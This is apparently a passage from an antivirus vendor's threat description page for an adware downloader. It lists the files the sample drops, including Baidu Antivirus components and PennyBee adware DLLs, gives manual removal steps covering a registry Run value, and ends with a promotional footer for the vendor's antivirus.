%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_7.mp3.7z (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\plugins\Plugin_Settings\res\skin.xml.7z (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\adblockConfig.ini.7z (345 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavDd.dll.7z (2851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\wi.dat.7z (44487 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nsc.ini (632 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detail.xml.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2G.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3 (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBsReport.exe (2321 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\startupConfig.ini (446 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\ALLICON_05.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll.7z (4451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\gray_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\rcsConfig.ini.7z (334 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3 (83 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavddConfig.ini (280 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detailDef.xml.7z (959 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\icon.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\gray_icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\gray_icon.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4N.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavVM.dll (2819 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\plugindataConfig.ini.7z (35 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\Plugins\IPlug_Scan\IPlug_Scan.dll.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dbg64\dbghelp.dll (9605 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\startupConfig.ini.7z (330 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavddConfigFileInfo.ini (380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavVM.dll.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavScan.dll (839 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_8.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MicroSignMergeHistory.ini.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\startupConfigFileInfo.ini (386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MergeHistoryList.ini.7z (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_10.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavbhConfigFileInfo.ini (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavbhConfig.ini (604 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\adblockConfigFileInfo.ini (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4G.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bdMiniDownloaderGB_BAV-Mini_32_1002.exe (8657 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_11.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nsc.ini.7z (283 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\server_respond.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\skin_bavui_frame\skin.xml (135 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\detail.xml.7z (886 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\skin_bavui_frame\skin.xml.7z (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.05.19.47.FileList.xml (392 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nwi.dat.7z (8051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavrrConfig.ini.7z (275 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolFileList.xml_check (1055 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\microConfigFileInfo.ini (494 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\CPFileList.xml.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4N.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\md5ConfigFileInfo.ini (482 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.05.11.36.FileList.xml (396 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavScan.dll.7z (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini.7z (278 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\plugindataConfigFileInfo.ini (398 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\detailDef.xml.7z (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavbhConfig.ini.7z (365 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_9.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\srslConfigFileInfo.ini (378 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavddConfig.ini.7z (280 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detail.xml.7z (953 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4G.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\ToolsUpdateList.xml (119 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2N.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z (5251 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\ToolsList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\rcsConfigFileInfo.ini (372 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.06.12.57.FileList.xml (596 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\detail.xml.7z (858 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavrrConfigFileInfo.ini (380 bytes)
%System%\config\SYSTEM.LOG (7081 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (51410 bytes)
%Program Files%\PennyBee\DealplyInstallerHelper.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\UserInfo.dll (4 bytes)
%Program Files%\PennyBee\Resources\ntdis_32.dll (11344 bytes)
%Program Files%\PennyBee\PennyBeeW.exe.config (4 bytes)
%Program Files%\PennyBee\PennyBee.exe.config (1 bytes)
%Program Files%\PennyBee\uninstall.exe (11523 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\LinkuryInstallerUtils.dll (19152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\System.dll (11 bytes)
%Program Files%\PennyBee\Resources\ntdisie_32.dll (3312 bytes)
%WinDir%\Temp\RESE.tmp (2868 bytes)
%WinDir%\Temp\RES10.tmp (2868 bytes)
%System%\drivers\Bhbase.sys (601 bytes)
%System%\drivers\BHipsEx.sys (673 bytes)
%WinDir%\Temp\Cab14.tmp (54 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat.tmp (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat.tmp (768 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%WinDir%\Temp\Tar17.tmp (2712 bytes)
%System%\drivers\bnbase.sys (52 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstips.dat.tmp (2548 bytes)
%WinDir%\Temp\Tar15.tmp (2712 bytes)
%System%\drivers\Bfilter.sys (51 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat.tmp (2 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hsc.dat (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rl.dat (2 bytes)
%System%\drivers\Bprotect.sys (673 bytes)
%System%\drivers\Bfmon.sys (31 bytes)
%WinDir%\Temp\Tar19.tmp (2712 bytes)
%WinDir%\Temp\Cab16.tmp (54 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\HipsPopTips.log (2857 bytes)
%WinDir%\Temp\Cab18.tmp (50 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rl.dat.tmp (2 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Baidu Antivirus" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe -auto"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Adware.Downloader.BG_c5f28a1399

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Adware.Downloader.BG_c5f28a1399

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet